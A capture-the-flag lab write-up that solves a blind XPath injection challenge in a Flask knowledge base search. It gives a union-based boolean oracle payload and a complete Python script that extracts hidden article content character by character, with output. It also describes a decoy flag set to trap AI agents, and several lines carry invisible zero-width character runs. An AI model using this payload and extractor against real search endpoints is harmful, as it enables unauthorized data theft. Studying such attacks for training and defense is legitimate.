Lab 334 — DocuNest — XPath Injection in Knowledge Base Search

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_boolean_xpath_injection, xpath_union_query_oracle, xml_structure_enumeration_via_blind_injection, character_by_character_substring_extraction, xpath_count_enumeration, honeypot_flag_identification, xpath_attribute_brute_force

Summary

Walkthrough of the CUSTOM Web Lab 334 — DocuNest — XPath Injection in Knowledge Base Search. Task: Flask knowledge base with XML-backed search; /search?q= is vulnerable to XPath injection, but @visible attribute filtering in both XPath and app code prevents direct display of hidden articles.

Description

DocuNest is a team knowledge base platform built by NestWare Solutions, where organizations manage their internal documentation. The application lets users browse articles, search across the knowledge base, and manage content through categories and tags. Some articles are restricted to certain access levels and are not visible through normal browsing. Your goal is to find and retrieve sensitive information that should not be accessible through the normal interface. The search functionality queries an XML-based data store. Investigate how the search feature works and determine if it can be manipulated to access restricted content. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based knowledge base application where the search feature queries an XML data store via XPath. The search endpoint /search?q= is vulnerable to XPath injection. Some articles have a @visible='false' attribute and are hidden from normal browsing. The @visible filtering is enforced both at the XPath query level AND in application-side code, so hidden articles can never be displayed directly — requiring a blind extraction approach.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Overview

Honeypot Flag Detection

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements. This is designed to trick AI agents and automated scanners into reporting a fake flag. Correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XPath Injection Confirmation

Reconstructed XPath Query

 xpath read-only • copy allowed Copy
//articles/article[(contains(title, '{INPUT}') or contains(content, '{INPUT}') or contains(tags, '{INPUT}')) and @visible='true']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Evidence:

• name(.) = article (current element)
• name(..) = articles (parent element)
• Multi-field search: content-specific terms like "pytest" matched articles containing those terms in body text

XML Structure (Enumerated via Blind Injection)

Child elements per article (6):

• title, author, content, updated, tags, created

Attributes per article (3):

• @id, @category, @visible

Total article count: 19 (determined via count(//article) > N binary search)

• 16 articles with @visible='true' (displayed normally)
• 3 hidden articles with @visible='false' (positions 17, 18, 19) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Double Filtering Problem

The @visible attribute is enforced at two levels:

1. XPath level: The query includes and @visible='true' — hidden articles are excluded from results
2. Application level: Even if XPath returns hidden articles, the Flask code filters them out before rendering

This means no injection can make hidden articles appear in search results. A blind extraction approach is required.

Solution

Step 1: Login

 bash read-only • copy allowed Copy
TARGET="https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login and establish session
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

Step 2: Build the Boolean Oracle

The key insight is using XPath's union operator (|) to create a reliable true/false oracle. The payload structure:

x') or CONDITION) and @visible='true'] | //articles/article[(false()) and (contains(title,'x

This produces the full XPath:

 xpath read-only • copy allowed Copy
//articles/article[(contains(title, 'x') or CONDITION) and @visible='true']
|
//articles/article[(false()) and (contains(title,'x') or contains(content,'x') or contains(tags,'x')) and @visible='true']

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

• If CONDITION is true: First union part matches all 16 visible articles → response contains "Found 16 results"
• If CONDITION is false: Neither part matches → response shows "No results"

The second union part always evaluates to false (due to false() and ...), so it's a no-op that cleanly closes the injected syntax.

Step 3: Locate the Flag

 python read-only • copy allowed Copy
# Verify oracle
check("true()")   # → Found 16 results ✓
check("false()")  # → No results ✓

# Confirm hidden articles at positions 17-19
check("//article[17]/@visible = 'false'")  # → True
check("//article[18]/@visible = 'false'")  # → True
check("//article[19]/@visible = 'false'")  # → True
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Find which hidden article contains the flag
check("contains(//article[17]/content, 'FLAG')")  # → False
check("contains(//article[18]/content, 'FLAG')")  # → False
check("contains(//article[19]/content, 'FLAG')")  # → True ← FLAG is here

# Determine content length (binary search)
check("string-length(//article[19]/content) > 30")  # → True
check("string-length(//article[19]/content) > 40")  # → False
check("string-length(//article[19]/content) = 38")  # → True

Article 19's content is exactly 38 characters — the flag string FLAG{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Character-by-Character Extraction

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""Blind XPath injection flag extractor for DocuNest challenge."""

import requests
import string

BASE = "https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io"
session = requests.Session()
session.post(f"{BASE}/login",
             data={"email": "user@test.com", "password": "password123"},
             allow_redirects=False)

CHARSET = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=.,;:/<>?~`| "

def check_condition(condition):
    """Returns True if the XPath condition evaluates to true (oracle returns 16 results)."""
    payload = (
        f"x') or {condition}) and @visible='true'] "
        f"| //articles/article[(false()) and (contains(title,'x"
    )
    resp = session.get(f"{BASE}/search", params={"q": payload})
    return "Found 16 results" in resp.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify oracle
assert check_condition("true()"), "Oracle broken: true() should return results"
assert not check_condition("false()"), "Oracle broken: false() should return no results"

# Extract article 19 content (38 chars)
result = ""
for pos in range(1, 39):
    found = False
    for char in CHARSET:
        if char == "'":
            condition = f'substring(//article[19]/content, {pos}, 1) = concat("", "\'")'
        else:
            condition = f"substring(//article[19]/content, {pos}, 1) = '{char}'"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        if check_condition(condition):
            result += char
            print(f"Position {pos}: '{char}' -> {result}")
            found = True
            break

    if not found:
        print(f"Position {pos}: no match found, stopping")
        break

print(f"\nFlag: {result}")

Output:

Position 1: 'F' -> F
Position 2: 'L' -> FL
Position 3: 'A' -> FLA
Position 4: 'G' -> FLAG
Position 5: '{' -> FLAG{
Position 6: 'e' -> FLAG{e
...
Position 37: 'c' -> FLAG{REDACTED
Position 38: '}' -> FLAG{REDACTED}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag: FLAG{REDACTED}

Total requests: ~38 positions × ~36 average charset checks ≈ 1,400 requests. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering blind_boolean_xpath_injection, xpath_union_query_oracle, xml_structure_enumeration_via_blind_injection, character_by_character_substring_extraction, xpath_count_enumeration, honeypot_flag_identification, xpath_attribute_brute_force was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 334 — DocuNest — XPath Injection in Knowledge Base Search • Difficulty: Medium